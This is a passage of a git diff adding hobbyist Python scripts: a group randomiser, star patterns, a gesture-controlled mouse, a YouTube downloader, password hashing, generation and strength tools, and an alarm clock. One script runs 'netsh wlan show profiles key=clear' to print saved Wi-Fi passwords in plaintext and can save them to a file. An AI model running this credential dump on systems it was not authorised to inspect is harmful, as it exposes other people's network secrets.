groupNumberList.append(i[1]) + nameList.append(i[0]) + + while Toggle: + np.random.shuffle(lengthList) + for i in range(len(groupNumberList)): + if groupNumberList[i] == lengthList[i]: + Toggle = True + break + else: + Toggle = False + + for i in range(len(groupList)): + trueList.append((lengthList[i], groupNumberList[i])) + + for i in trueList: + print(i[0], "-->", nameList[i[1] - 1]) + + +def groupMaker(command): + while True: + if command.upper() == "EXIT": + os.system('clear') + print("All names:\n") + printList(groupList) + + print("\n How the Assignment Works:") + print( + "The person holding the number is assigned \nthe person to the right of the arrow \n" + ) + randomise(groupList) + break + + elif command.upper() == "REMOVE": + print("") + for i, c in enumerate(groupList): + print(f'{i+1} {c[0]}') + choice = input("\nWho do you want to remove? (Insert Index Number): ") + groupList.pop(int(choice) - 1) + os.system('clear') + + else: + number = input("\nWhat is your number?: ") + while True: + choice = input("Is your number correct? (Yes, No): ") + if choice.upper() == "YES": + break + elif choice.upper() == "NO": + number = input("\nWhat is your number?: ") + else: + pass + groupList.append((command.lower().capitalize(), int(number))) + os.system('clear') + + print("Current people in the group") + printList(groupList) + command = input("Input command (a name, REMOVE, EXIT): ") + + +groupMaker(command) diff --git a/OTHERS/Star pattern/readme.md b/OTHERS/Star pattern/readme.md new file mode 100644 index 00000000..727c06a8 --- /dev/null +++ b/OTHERS/Star pattern/readme.md @@ -0,0 +1,68 @@ +# Patterns in Python +This is a Python script that generates five different patterns using loops and print statements. The patterns are printed to the console. + +## Pattern 1 +The first pattern is a triangle of asterisks, with each row having one more asterisk than the previous row: + +``` +* +** +*** +**** +***** +``` +The pattern is generated using a nested loop, with the outer loop iterating over the rows and the inner loop iterating over the columns in each row. + +## Pattern 2 +The second pattern is an upside-down triangle of asterisks, with each row having one less asterisk than the previous row: + +``` +***** +**** +*** +** +* +``` + +The pattern is generated using a nested loop similar to the first pattern, but with the rows iterating in reverse order. + +## Pattern 3 +The third pattern is a triangle of asterisks with leading spaces, with each row having one more asterisk than the previous row and one fewer space than the previous row: + +``` + * + ** + *** + **** +***** +``` +The pattern is generated using two nested loops, with the outer loop iterating over the rows and the inner loops iterating over the columns in each row. The number of spaces and asterisks printed in each row is determined based on the current row number. + +## Pattern 4 +The fourth pattern is an upside-down triangle of asterisks with leading spaces, with each row having one less asterisk than the previous row and one more space than the previous row: + +``` +***** + **** + *** + ** + * +``` +The pattern is generated using two nested loops similar to the third pattern, but with the rows iterating in reverse order. + +## Pattern 5 +The fifth pattern is a diamond made of asterisks and spaces, with the widest point of the diamond having nine asterisks and the narrowest point having one asterisk: + +``` + * + *** + ***** + ******* +********* +********* + ******* + ***** + *** + * +``` +The pattern is generated using three nested loops, with the outer loop iterating over the rows and the inner loops iterating over the columns in each row. The number of spaces and asterisks printed in each row is determined based on the current row number. diff --git a/OTHERS/Star pattern/star_pattern.py b/OTHERS/Star pattern/star_pattern.py new file mode 100644 index 00000000..cc0da4e4 --- /dev/null +++ b/OTHERS/Star pattern/star_pattern.py @@ -0,0 +1,102 @@ +# Pattern 1 +# * +# ** +# *** +# **** +# ***** + +# Loop through the rows from 0 to 5 (6 rows in total) +for i in range(6): + # Loop through the columns from 0 to i (inclusive) for each row + for k in range(i+1): + # Print a star with no newline character + print("*", end="") + # Move to the next line + print() + +# Pattern 2 +# ***** +# **** +# *** +# ** +# * + +# Loop through the rows from 5 to 1 (inclusive) +for i in range(5, 0, -1): + # Loop through the columns from 0 to i (inclusive) for each row + for k in range(i): + # Print a star with no newline character + print("*", end="") + # Move to the next line + print() + +# Pattern 3 +# * +# ** +# *** +# **** +# ***** + +# Loop through the rows from 0 to 4 (5 rows in total) +for i in range(5): + # Loop through the columns from 1 to 5 for each row + for j in range(1, 6): + # Print a space with no newline character if j is less than or equal to 5-i + if j <= 5-i: + print(" ", end="") + else: + # Otherwise, print a star with no newline character + print("*", end="") + # Move to the next line + print() + +# Pattern 4 +# ***** +# **** +# *** +# ** +# * + +# Loop through the rows from 5 to 1 (inclusive) +for i in range(5, 0, -1): + # Loop through the columns from 1 to 5 for each row + for j in range(1, 6): + # Print a space with no newline character if j is less than or equal to 5-i + if j <= 5-i: + print(" ", end="") + else: + # Otherwise, print a star with no newline character + print("*", end="") + # Move to the next line + print() + +# Pattern 5 +# * +# *** +# ***** +# ******* +# ********* +# ********* +# ******* +# ***** +# *** +# * + +# Loop through the rows from 0 to 8 (9 rows in total) +for i in range(9): + # Determine the number of spaces and stars to print for this row + if i <= 4: + spaces = 4 - i + stars = 2*i + 1 + else: + spaces = i - 4 + stars = 17 - 2*i + # Loop through the columns for each row + for j in range(1, 11): + # Print spaces or stars as appropriate for the current column + if j <= spaces: + print(" ", end="") + elif j <= spaces + stars: + print("*", end="") + # Move to the next line + print() diff --git a/OTHERS/Virtual_Mouse-main/README.md b/OTHERS/Virtual_Mouse-main/README.md new file mode 100644 index 00000000..5adf3cf3 --- /dev/null +++ b/OTHERS/Virtual_Mouse-main/README.md @@ -0,0 +1,48 @@ +# Virual-Mouse + +A virtual mouse is software that allows users to give mouse inputs to a +system without using an actual mouse. To the extreme it can also be called +as hardware because it uses an ordinary web camera. A virtual mouse can +usually be operated with multiple input devices, which may include an +actual mouse or a computer keyboard. Virtual mouse which uses web +camera works with the help of different image processing techniques. + +# Demo Working of the Project Here is the Drive link +# You can now access the drive link to watch out the steps and how it works + +https://drive.google.com/drive/folders/1hq7jWKDqc4YjFsHC1KeHgGvzJGXp8lzK?usp=sharing + + + +# How to setup and run + + ### Pre-requisites + + Python: (3.6 - 3.8.5)
+ Anaconda Distribution: To download click [here](https://www.anaconda.com/products/individual). + + Download and Extract the Project Folder Name Virtual-Mouse.
+ + Then Open the Virtual-Mouse Folder in VsCode as shown in the Video. + + Step 1: + ```bash + conda create --name gest python=3.8.5 + ``` + + Step 2: + ```bash + conda activate gest + ``` + + Step 3: + ```bash + pip install -r requirements.txt + ``` + + Step 4: + cd to src by cd src + ```bash + python Virtual_Mouse.py + ``` + diff --git a/OTHERS/Virtual_Mouse-main/Virtual_Mouse.py b/OTHERS/Virtual_Mouse-main/Virtual_Mouse.py new file mode 100644 index 00000000..6cc2879d --- /dev/null +++ b/OTHERS/Virtual_Mouse-main/Virtual_Mouse.py @@ -0,0 +1,406 @@ +import cv2 +import mediapipe as mp +import pyautogui +import math +from enum import IntEnum +from ctypes import cast, POINTER +from comtypes import CLSCTX_ALL +from pycaw.pycaw import AudioUtilities, IAudioEndpointVolume +from google.protobuf.json_format import MessageToDict +import screen_brightness_control as sbcontrol + +pyautogui.FAILSAFE = False +mp_drawing = mp.solutions.drawing_utils +mp_hands = mp.solutions.hands + +# Gesture Encodings +class Gest(IntEnum): + # Binary Encoded + FIST = 0 + PINKY = 1 + RING = 2 + MID = 4 + LAST3 = 7 + INDEX = 8 + FIRST2 = 12 + LAST4 = 15 + THUMB = 16 + PALM = 31 + + # Extra Mappings + V_GEST = 33 + TWO_FINGER_CLOSED = 34 + PINCH_MAJOR = 35 + PINCH_MINOR = 36 + +# Multi-handedness Labels +class HLabel(IntEnum): + MINOR = 1 + MAJOR = 1 + +# Convert Mediapipe Landmarks to recognizable Gestures +class HandRecog: + + def __init__(self, hand_label): + self.finger = 0 + self.ori_gesture = Gest.PALM + self.prev_gesture = Gest.PALM + self.frame_count = 0 + self.hand_result = None + self.hand_label = hand_label + + def update_hand_result(self, hand_result): + self.hand_result = hand_result + + def get_signed_dist(self, point): + sign = -1 + if self.hand_result.landmark[point[0]].y < self.hand_result.landmark[point[1]].y: + sign = 1 + dist = (self.hand_result.landmark[point[0]].x - self.hand_result.landmark[point[1]].x)**2 + dist += (self.hand_result.landmark[point[0]].y - self.hand_result.landmark[point[1]].y)**2 + dist = math.sqrt(dist) + return dist*sign + + def get_dist(self, point): + dist = (self.hand_result.landmark[point[0]].x - self.hand_result.landmark[point[1]].x)**2 + dist += (self.hand_result.landmark[point[0]].y - self.hand_result.landmark[point[1]].y)**2 + dist = math.sqrt(dist) + return dist + + def get_dz(self,point): + return abs(self.hand_result.landmark[point[0]].z - self.hand_result.landmark[point[1]].z) + + # Function to find Gesture Encoding using current finger_state. + # Finger_state: 1 if finger is open, else 0 + def set_finger_state(self): + if self.hand_result == None: + return + + points = [[8,5,0],[12,9,0],[16,13,0],[20,17,0]] + self.finger = 0 + self.finger = self.finger | 0 #thumb + for idx,point in enumerate(points): + + dist = self.get_signed_dist(point[:2]) + dist2 = self.get_signed_dist(point[1:]) + + try: + ratio = round(dist/dist2,1) + except: + ratio = round(dist/0.01,1) + + self.finger = self.finger << 1 + if ratio > 0.5 : + self.finger = self.finger | 1 + + + # Handling Fluctations due to noise + def get_gesture(self): + if self.hand_result == None: + return Gest.PALM + + current_gesture = Gest.PALM + if self.finger in [Gest.LAST3,Gest.LAST4] and self.get_dist([8,4]) < 0.05: + if self.hand_label == HLabel.MINOR : + current_gesture = Gest.PINCH_MINOR + else: + current_gesture = Gest.PINCH_MAJOR + + elif Gest.FIRST2 == self.finger : + point = [[8,12],[5,9]] + dist1 = self.get_dist(point[0]) + dist2 = self.get_dist(point[1]) + ratio = dist1/dist2 + if ratio > 1.7: + current_gesture = Gest.V_GEST + else: + if self.get_dz([8,12]) < 0.1: + current_gesture = Gest.TWO_FINGER_CLOSED + else: + current_gesture = Gest.MID + + else: + current_gesture = self.finger + + if current_gesture == self.prev_gesture: + self.frame_count += 1 + else: + self.frame_count = 0 + + self.prev_gesture = current_gesture + + if self.frame_count > 4 : + self.ori_gesture = current_gesture + return self.ori_gesture + +# Executes commands according to detected gestures +class Controller: + tx_old = 0 + ty_old = 0 + trial = True + flag = False + grabflag = False + pinchmajorflag = False + pinchminorflag = False + pinchstartxcoord = None + pinchstartycoord = None + pinchdirectionflag = None + prevpinchlv = 0 + pinchlv = 0 + framecount = 0 + prev_hand = None + pinch_threshold = 0.3 + + def getpinchylv(hand_result): + dist = round((Controller.pinchstartycoord - hand_result.landmark[8].y)*10,1) + return dist + + def getpinchxlv(hand_result): + dist = round((hand_result.landmark[8].x - Controller.pinchstartxcoord)*10,1) + return dist + + def changesystembrightness(): + currentBrightnessLv = sbcontrol.get_brightness()/100.0 + currentBrightnessLv += Controller.pinchlv/50.0 + if currentBrightnessLv > 1.0: + currentBrightnessLv = 1.0 + elif currentBrightnessLv < 0.0: + currentBrightnessLv = 0.0 + sbcontrol.fade_brightness(int(100*currentBrightnessLv) , start = sbcontrol.get_brightness()) + + def changesystemvolume(): + devices = AudioUtilities.GetSpeakers() + interface = devices.Activate(IAudioEndpointVolume._iid_, CLSCTX_ALL, None) + volume = cast(interface, POINTER(IAudioEndpointVolume)) + currentVolumeLv = volume.GetMasterVolumeLevelScalar() + currentVolumeLv += Controller.pinchlv/50.0 + if currentVolumeLv > 1.0: + currentVolumeLv = 1.0 + elif currentVolumeLv < 0.0: + currentVolumeLv = 0.0 + volume.SetMasterVolumeLevelScalar(currentVolumeLv, None) + + def scrollVertical(): + pyautogui.scroll(120 if Controller.pinchlv>0.0 else -120) + + + def scrollHorizontal(): + pyautogui.keyDown('shift') + pyautogui.keyDown('ctrl') + pyautogui.scroll(-120 if Controller.pinchlv>0.0 else 120) + pyautogui.keyUp('ctrl') + pyautogui.keyUp('shift') + + # Locate Hand to get Cursor Position + # Stabilize cursor by Dampening + def get_position(hand_result): + point = 9 + position = [hand_result.landmark[point].x ,hand_result.landmark[point].y] + sx,sy = pyautogui.size() + x_old,y_old = pyautogui.position() + x = int(position[0]*sx) + y = int(position[1]*sy) + if Controller.prev_hand is None: + Controller.prev_hand = x,y + delta_x = x - Controller.prev_hand[0] + delta_y = y - Controller.prev_hand[1] + + distsq = delta_x**2 + delta_y**2 + ratio = 1 + Controller.prev_hand = [x,y] + + if distsq <= 25: + ratio = 0 + elif distsq <= 900: + ratio = 0.07 * (distsq ** (1/2)) + else: + ratio = 2.1 + x , y = x_old + delta_x*ratio , y_old + delta_y*ratio + return (x,y) + + def pinch_control_init(hand_result): + Controller.pinchstartxcoord = hand_result.landmark[8].x + Controller.pinchstartycoord = hand_result.landmark[8].y + Controller.pinchlv = 0 + Controller.prevpinchlv = 0 + Controller.framecount = 0 + + # Hold final position for 5 frames to change status + def pinch_control(hand_result, controlHorizontal, controlVertical): + if Controller.framecount == 5: + Controller.framecount = 0 + Controller.pinchlv = Controller.prevpinchlv + + if Controller.pinchdirectionflag == True: + controlHorizontal() #x + + elif Controller.pinchdirectionflag == False: + controlVertical() #y + + lvx = Controller.getpinchxlv(hand_result) + lvy = Controller.getpinchylv(hand_result) + + if abs(lvy) > abs(lvx) and abs(lvy) > Controller.pinch_threshold: + Controller.pinchdirectionflag = False + if abs(Controller.prevpinchlv - lvy) < Controller.pinch_threshold: + Controller.framecount += 1 + else: + Controller.prevpinchlv = lvy + Controller.framecount = 0 + + elif abs(lvx) > Controller.pinch_threshold: + Controller.pinchdirectionflag = True + if abs(Controller.prevpinchlv - lvx) < Controller.pinch_threshold: + Controller.framecount += 1 + else: + Controller.prevpinchlv = lvx + Controller.framecount = 0 + + def handle_controls(gesture, hand_result): + x,y = None,None + if gesture != Gest.PALM : + x,y = Controller.get_position(hand_result) + + # flag reset + if gesture != Gest.FIST and Controller.grabflag: + Controller.grabflag = False + pyautogui.mouseUp(button = "left") + + if gesture != Gest.PINCH_MAJOR and Controller.pinchmajorflag: + Controller.pinchmajorflag = False + + if gesture != Gest.PINCH_MINOR and Controller.pinchminorflag: + Controller.pinchminorflag = False + + # implementation + if gesture == Gest.V_GEST: + Controller.flag = True + pyautogui.moveTo(x, y, duration = 0.1) + + elif gesture == Gest.FIST: + if not Controller.grabflag : + Controller.grabflag = True + pyautogui.mouseDown(button = "left") + pyautogui.moveTo(x, y, duration = 0.1) + + elif gesture == Gest.MID and Controller.flag: + pyautogui.click() + Controller.flag = False + + elif gesture == Gest.INDEX and Controller.flag: + pyautogui.click(button='right') + Controller.flag = False + + elif gesture == Gest.TWO_FINGER_CLOSED and Controller.flag: + pyautogui.doubleClick() + Controller.flag = False + + elif gesture == Gest.PINCH_MINOR: + if Controller.pinchminorflag == False: + Controller.pinch_control_init(hand_result) + Controller.pinchminorflag = True + Controller.pinch_control(hand_result,Controller.scrollHorizontal, Controller.scrollVertical) + + elif gesture == Gest.PINCH_MAJOR: + if Controller.pinchmajorflag == False: + Controller.pinch_control_init(hand_result) + Controller.pinchmajorflag = True + Controller.pinch_control(hand_result,Controller.changesystembrightness, Controller.changesystemvolume) + +''' +---------------------------------------- Main Class ---------------------------------------- + Entry point of Gesture Controller +''' + + +class GestureController: + gc_mode = 0 + cap = None + CAM_HEIGHT = None + CAM_WIDTH = None + hr_major = True # Right Hand by default + hr_minor = True # Left hand by default + dom_hand = True + + def __init__(self): + GestureController.gc_mode = 1 + GestureController.cap = cv2.VideoCapture(0) + GestureController.CAM_HEIGHT = GestureController.cap.get(cv2.CAP_PROP_FRAME_HEIGHT) + GestureController.CAM_WIDTH = GestureController.cap.get(cv2.CAP_PROP_FRAME_WIDTH) + + def classify_hands(results): + left , right = None,None + try: + handedness_dict = MessageToDict(results.multi_handedness[0]) + if handedness_dict['classification'][0]['label'] == 'Right': + right = results.multi_hand_landmarks[0] + else : + left = results.multi_hand_landmarks[0] + except: + pass + + try: + handedness_dict = MessageToDict(results.multi_handedness[1]) + if handedness_dict['classification'][0]['label'] == 'Right': + right = results.multi_hand_landmarks[1] + else : + left = results.multi_hand_landmarks[1] + except: + pass + + if GestureController.dom_hand == True: + GestureController.hr_major = right + GestureController.hr_minor = left + else : + GestureController.dom_hand == True + GestureController.hr_major = left + GestureController.hr_minor = right + + def start(self): + + handmajor = HandRecog(HLabel.MAJOR) + handminor = HandRecog(HLabel.MINOR) + + with mp_hands.Hands(max_num_hands = 2,min_detection_confidence=0.5, min_tracking_confidence=0.5) as hands: + while GestureController.cap.isOpened() and GestureController.gc_mode: + success, image = GestureController.cap.read() + + if not success: + print("Ignoring empty camera frame.") + continue + + image = cv2.cvtColor(cv2.flip(image, 1), cv2.COLOR_BGR2RGB) + image.flags.writeable = False + results = hands.process(image) + + image.flags.writeable = True + image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR) + + if results.multi_hand_landmarks: + GestureController.classify_hands(results) + handmajor.update_hand_result(GestureController.hr_major) + handminor.update_hand_result(GestureController.hr_minor) + + handmajor.set_finger_state() + handminor.set_finger_state() + gest_name = handminor.get_gesture() + + if gest_name == Gest.PINCH_MINOR: + Controller.handle_controls(gest_name, handminor.hand_result) + else: + gest_name = handmajor.get_gesture() + Controller.handle_controls(gest_name, handmajor.hand_result) + + for hand_landmarks in results.multi_hand_landmarks: + mp_drawing.draw_landmarks(image, hand_landmarks, mp_hands.HAND_CONNECTIONS) + else: + Controller.prev_hand = None + cv2.imshow('Gesture Controller', image) + if cv2.waitKey(5) & 0xFF == 13: + break + GestureController.cap.release() + cv2.destroyAllWindows() + +# uncomment to run directly +gc1 = GestureController() +gc1.start() diff --git a/OTHERS/Virtual_Mouse-main/requirements.txt b/OTHERS/Virtual_Mouse-main/requirements.txt new file mode 100644 index 00000000..eae3eb8c --- /dev/null +++ b/OTHERS/Virtual_Mouse-main/requirements.txt @@ -0,0 +1,6 @@ +pyautogui==0.9.53 +opencv-python==4.5.3.56 +mediapipe==0.8.6.2 +comtypes==1.1.10 +pycaw==20181226 +screen-brightness-control==0.9.0 diff --git a/OTHERS/Youtube Video Downloader/README.md b/OTHERS/Youtube Video Downloader/README.md new file mode 100644 index 00000000..f202da33 --- /dev/null +++ b/OTHERS/Youtube Video Downloader/README.md @@ -0,0 +1,30 @@ +Pytube is a lightweight and dependency-free Python library designed for fetching videos from the internet. It simplifies the process of downloading videos, particularly from YouTube. +Installation: + +To install pytube via pip, follow these steps: + +Open your command prompt or terminal as an administrator. +Execute the following command: +bash +Copy code +```BASH +pip install pytube +``` +This command will download and install pytube along with its dependencies. + +Functionality: + +Pytube enhances the ease of video downloads by providing a straightforward interface. Here's a general outline of how it works: + +Import pytube: Begin by importing the pytube library into your Python script. + +Create a YouTube Object: +Construct a YouTube object by passing the URL of the video you want to download as a parameter. This object will serve as your entry point for accessing video information and initiating downloads. + +Retrieve Video Details: +Use the YouTube object to gather information about the video, such as its available resolutions and file extensions. This step allows you to choose the quality and format of the downloaded video. + +Download the Video: +Finally, download the video by invoking the appropriate method provided by the YouTube object. You have the option to specify a custom name for the downloaded file if you prefer; otherwise, the original filename will be used. + +Now, you can proceed with writing and implementing your Python code to download your favorite videos from YouTube using the pytube library. This library streamlines the process and makes it convenient to fetch videos from the internet \ No newline at end of file diff --git a/OTHERS/Youtube Video Downloader/youtube-downloader.py b/OTHERS/Youtube Video Downloader/youtube-downloader.py new file mode 100644 index 00000000..5901c6c2 --- /dev/null +++ b/OTHERS/Youtube Video Downloader/youtube-downloader.py @@ -0,0 +1,14 @@ +from pytube import YouTube + +def Download(link): + youtubeObject = YouTube(link) + youtubeObject = youtubeObject.streams.get_highest_resolution() + try: + youtubeObject.download() + except: + print("An error has occurred") + print("Download is completed successfully") + + +link = input("Enter the YouTube video URL: ") +Download(link) \ No newline at end of file diff --git a/PASSWORD RELATED/PasswordHashingUtility/README.md b/PASSWORD RELATED/PasswordHashingUtility/README.md new file mode 100644 index 00000000..1e959d37 --- /dev/null +++ b/PASSWORD RELATED/PasswordHashingUtility/README.md @@ -0,0 +1,48 @@ +# Password Hashing Utility + +The Password Hashing Utility is a Python script that allows users to hash their passwords using various hashing algorithms for secure storage and comparison. Hashing passwords is an essential security measure to protect sensitive user data. + +## How to Use + +1. Clone the repository or download the script file `password_hashing_utility.py`. + +2. Run the script using Python (Python 3.x is recommended). + +3. Enter the password you want to hash when prompted. + +4. Choose the desired hashing algorithm (e.g., 'md5', 'sha256', etc.). + +5. The script will display the hashed password as a hexadecimal string. + +## Supported Hashing Algorithms + +The utility supports the following hashing algorithms available in the `hashlib` library: + +- MD5 +- SHA-1 +- SHA-224 +- SHA-256 +- SHA-384 +- SHA-512 +- And more... + +Please note that MD5 and SHA-1 are considered less secure due to vulnerabilities, and it is recommended to use stronger algorithms like SHA-256 or SHA-512. + +## Example + +```bash +$ python password_hashing_utility.py +Password Hashing Utility +------------------------ +Enter your password: MySecurePassword +Choose the hashing algorithm (e.g., 'md5', 'sha256'): sha256 + +Hashed password (using SHA-256): c1ef01b69b3d0e60c91f1c52e2185ab2de548be9f03f64e7c2712d3efea45d9c +``` +## Customization +You can modify the algorithm variable in the script to choose a different hashing algorithm. Make sure to use one of the supported algorithms mentioned in the list above. + +## Disclaimer +This script provides a basic password hashing utility and is intended for educational purposes only. In real-world applications, consider using a password hashing library with additional security features, such as salting and multiple iterations (e.g., bcrypt, Argon2). + +Always follow security best practices to protect user passwords and sensitive data. diff --git a/PASSWORD RELATED/PasswordHashingUtility/python_hashing_utility.py b/PASSWORD RELATED/PasswordHashingUtility/python_hashing_utility.py new file mode 100644 index 00000000..c800a6ef --- /dev/null +++ b/PASSWORD RELATED/PasswordHashingUtility/python_hashing_utility.py @@ -0,0 +1,32 @@ +import hashlib + +def get_hashed_password(password, algorithm='sha256'): + """ + Hashes the input password using the specified hashing algorithm. + + Args: + password (str): The input password to be hashed. + algorithm (str): The hashing algorithm to use (default is SHA-256). + + Returns: + str: The hashed password as a hexadecimal string. + """ + if algorithm not in hashlib.algorithms_available: + raise ValueError(f"Unsupported hashing algorithm: {algorithm}") + + hashed_password = hashlib.new(algorithm, password.encode()).hexdigest() + return hashed_password + +if __name__ == "__main__": + print("Password Hashing Utility") + print("------------------------") + + password = input("Enter your password: ") + + try: + # You can choose the hashing algorithm here (e.g., 'md5', 'sha256', etc.) + algorithm = 'sha256' + hashed_password = get_hashed_password(password, algorithm) + print(f"Hashed password (using {algorithm.upper()}): {hashed_password}") + except ValueError as e: + print(e) diff --git a/PASSWORD RELATED/RandomPassword/password.py b/PASSWORD RELATED/RandomPassword/password.py index d8542619..c3c58138 100644 --- a/PASSWORD RELATED/RandomPassword/password.py +++ b/PASSWORD RELATED/RandomPassword/password.py @@ -1,12 +1,29 @@ -import string #String module will import all the nessary ascii character -import random #random module help us to import functions needed to generate random element. +import string +import secrets -passwrd = string.ascii_letters+string.digits+string.punctuation #This will generate a string consist of all ascii character. +# Define the set of characters to be used in the password +CHARACTER_SET = string.ascii_letters + string.digits + string.punctuation -numPass = int(input("How many passwords do you need to be generated? ")) -length = int(input("Enter the length of the password(s): ")) +def generate_password(length): + """Generate a random password of the specified length.""" + password = ''.join(secrets.choice(CHARACTER_SET) for i in range(length)) + return password -print("List(s) of Generated passwords: ") +def main(): + # Prompt the user for the number of passwords to generate and their length + while True: + try: + num_pass = int(input("How many passwords do you want to generate? ")) + password_length = int(input("Enter the length of the password(s): ")) + break + except ValueError: + print("Please enter a valid integer.") + continue + # Generate the specified number of passwords and print them to the console + print("Generated passwords:") + for i in range(num_pass): + password = generate_password(password_length) + print(f"{i+1}. {password}") -for _ in range(numPass): - print(''.join(random.sample(passwrd, k=length))) #sample() generates an array of random characters of length k +if __name__ == "__main__": + main() diff --git a/PASSWORD RELATED/Saved Wi-FI Password/get-wifi-passwords.py b/PASSWORD RELATED/Saved Wi-FI Password/get-wifi-passwords.py index 14fd7001..2d3ddda2 100644 --- a/PASSWORD RELATED/Saved Wi-FI Password/get-wifi-passwords.py +++ b/PASSWORD RELATED/Saved Wi-FI Password/get-wifi-passwords.py @@ -1,34 +1,71 @@ -""" -This scripts fetches all saved wifi passwords in your Windows PC -""" - +import os +import platform import subprocess def get_all_profiles(): - try: - data = subprocess.check_output( - ["netsh", "wlan", "show", "profiles", "key=clear"] - ).decode("utf-8", errors="backslashreplace") - return data - except FileNotFoundError: + system = platform.system() + if system == 'Windows': + try: + data = subprocess.check_output( + ["netsh", "wlan", "show", "profiles", "key=clear"] + ).decode("utf-8", errors="backslashreplace") + return data + except subprocess.CalledProcessError as error: + return f"Error: {error}" + else: return "Only For Windows" def get_profiles_info(profile): - try: - data = subprocess.check_output( - ["netsh", "wlan", "show", "profiles", profile, "key=clear"] - ).decode("utf-8", errors="backslashreplace") - - return data - except subprocess.CalledProcessError: - return "Profile Not Found" - except FileNotFoundError: + system = platform.system() + if system == 'Windows': + try: + data = subprocess.check_output( + ["netsh", "wlan", "show", "profiles", profile, "key=clear"] + ).decode("utf-8", errors="backslashreplace") + return data + except subprocess.CalledProcessError as error: + return f"Error: {error}" + else: + return "Only For Windows" + + +def output_to_file(file_path, data): + with open(file_path, 'w') as f: + f.write(data) + + +def delete_profile(profile): + system = platform.system() + if system == 'Windows': + try: + subprocess.check_call( + ["netsh", "wlan", "delete", "profile", f"name=\"{profile}\""] + ) + return f"{profile} profile deleted successfully" + except subprocess.CalledProcessError as error: + return f"Error: {error}" + else: return "Only For Windows" if __name__ == "__main__": - print(get_all_profiles()) - profile = input("Enter the profile Name: ") - print(get_profiles_info(profile)) + print("Fetching all saved Wi-Fi profiles...") + profiles = get_all_profiles() + print(profiles) + + if profiles != "Only For Windows": + profile_name = input("Enter the profile name: ") + profile_info = get_profiles_info(profile_name) + print(profile_info) + + output_choice = input("Do you want to output the results to a file? (y/n): ") + if output_choice.lower() == 'y': + file_path = input("Enter the file path to save the output: ") + output_to_file(file_path, profile_info) + + delete_choice = input("Do you want to delete this profile? (y/n): ") + if delete_choice.lower() == 'y': + delete_result = delete_profile(profile_name) + print(delete_result) diff --git a/PASSWORD RELATED/password-strength/README.md b/PASSWORD RELATED/password-strength/README.md new file mode 100644 index 00000000..db0bf264 --- /dev/null +++ b/PASSWORD RELATED/password-strength/README.md @@ -0,0 +1,57 @@ +# Password Strength Checker + +This is a simple Python script that checks the strength of a given password based on various criteria. It evaluates the password for length, lowercase letters, uppercase letters, digits, and special characters, and provides feedback on its strength. + +## How to Use + +1. Clone the repository or download the script file `password_strength_checker.py`. + +2. Run the script using Python (Python 3.x is recommended). + +3. Enter the password you want to check when prompted. + +4. The script will evaluate the password and display its strength along with any areas of improvement. + +## Criteria for Password Strength + +The password is evaluated against the following criteria: + +- Minimum password length: The password should have at least 8 characters. + +- At least one lowercase letter: The password should contain at least one lowercase letter (a-z). + +- At least one uppercase letter: The password should contain at least one uppercase letter (A-Z). + +- At least one digit: The password should contain at least one digit (0-9). + +- At least one special character: The password should contain at least one special character (!@#$%^&*()_+=-[]{};:'",.<>?/\\|). + +## Password Strength Scores + +The password is given a strength score based on the number of criteria met: + +- 1: Weak - The password does not meet the minimum length requirement. + +- 2: Moderate - The password meets the minimum length requirement but lacks some character types. + +- 3: Fair - The password meets the minimum length requirement and includes lowercase letters, uppercase letters, and digits. + +- 4: Strong - The password meets the minimum length requirement and includes lowercase letters, uppercase letters, digits, and at least one special character. + +- 5: Very Strong - The password meets all criteria and is considered very strong. + +## Example + +```bash +$ python password_strength_checker.py +Enter your password: My$3cureP@ssw0rd + +Password Strength: 5 +Password is very strong! +``` + +## Customization + +You can customize the min_length variable in the script to set your desired minimum password length. + +Feel free to modify and enhance the script according to your needs and security requirements. diff --git a/PASSWORD RELATED/password-strength/password_strength_checker.py b/PASSWORD RELATED/password-strength/password_strength_checker.py new file mode 100644 index 00000000..a2021240 --- /dev/null +++ b/PASSWORD RELATED/password-strength/password_strength_checker.py @@ -0,0 +1,59 @@ +import re + + + +def password_strength(password): + """ + Checks the strength of a password and returns a tuple containing the strength + """ + # Minimum password length + min_length = 8 + + # Regular expressions to check for different character types + has_lowercase = re.compile(r'[a-z]') + has_uppercase = re.compile(r'[A-Z]') + has_digit = re.compile(r'\d') + has_special = re.compile(r'[!@#$%^&*()_+=\-[\]{};:\'",.<>?/\\|]') + + strength = 0 + messages = [] + + if len(password) >= min_length: + strength += 1 + else: + messages.append("Password should have at least {} characters.".format(min_length)) + + if has_lowercase.search(password): + strength += 1 + else: + messages.append("Password should have at least one lowercase letter.") + + if has_uppercase.search(password): + strength += 1 + else: + messages.append("Password should have at least one uppercase letter.") + + if has_digit.search(password): + strength += 1 + else: + messages.append("Password should have at least one digit.") + + if has_special.search(password): + strength += 1 + else: + messages.append("Password should have at least one special character.") + + return strength, messages + + +if __name__ == "__main__": + password = input("Enter your password: ") + strength, messages = password_strength(password) + + print("\nPassword Strength: {}".format(strength)) + if strength == 5: + print("Password is very strong!") + else: + print("Password needs improvement:") + for message in messages: + print("- {}".format(message)) diff --git a/PYTHON APPS/Alarm_Clock/README.md b/PYTHON APPS/Alarm_Clock/README.md new file mode 100644 index 00000000..e0c963af --- /dev/null +++ b/PYTHON APPS/Alarm_Clock/README.md @@ -0,0 +1,40 @@ +# Alarm clock with ttkbootstrap and pygame + +Simple, good (quite good :) )looking alarm and simple to use + +## Description + +The app is made in ttkboostrap and some little pygame for the sound. + +## Installation + +Use the package manager [pip](https://pip.pypa.io/en/stable/) to +install [ttkboostrap](https://ttkbootstrap.readthedocs.io/en/latest/) and the [pygame ](https://www.pygame.org/news) + +```bash +pip install ttkboostrap +``` + +```bash +pip install pygame +``` + +## How to use: + +1. Press on the bottom button to add a new alarm. +2. Next choose your time and press ok or press cancel to quit +3. To start or to stop the alarm press the button near the delete button +4. To delete the alarm press the 'Delete' button + +![main.png](media%2Fimage%2Fmain.png) +![chose_timer.png](media%2Fimage%2Fchose_timer.png) +![start_alarm.png](media%2Fimage%2Fstart_alarm.png) + +## Contribution: + +Pull request are wellcome, if you have any advice I am open. If you are a UI guy and want to make it more beautiful +you are wellcome to do it. (I am pretty bad at the GUI) + +## License + +[GNU GPLv3](https://choosealicense.com/licenses/gpl-3.0/) diff --git a/PYTHON APPS/Alarm_Clock/backend_alarm.py b/PYTHON APPS/Alarm_Clock/backend_alarm.py new file mode 100644 index 00000000..a6d7ab17 --- /dev/null +++ b/PYTHON APPS/Alarm_Clock/backend_alarm.py @@ -0,0 +1,77 @@ +import time +from datetime import datetime +from threading import Event +from typing import List +from configuration import 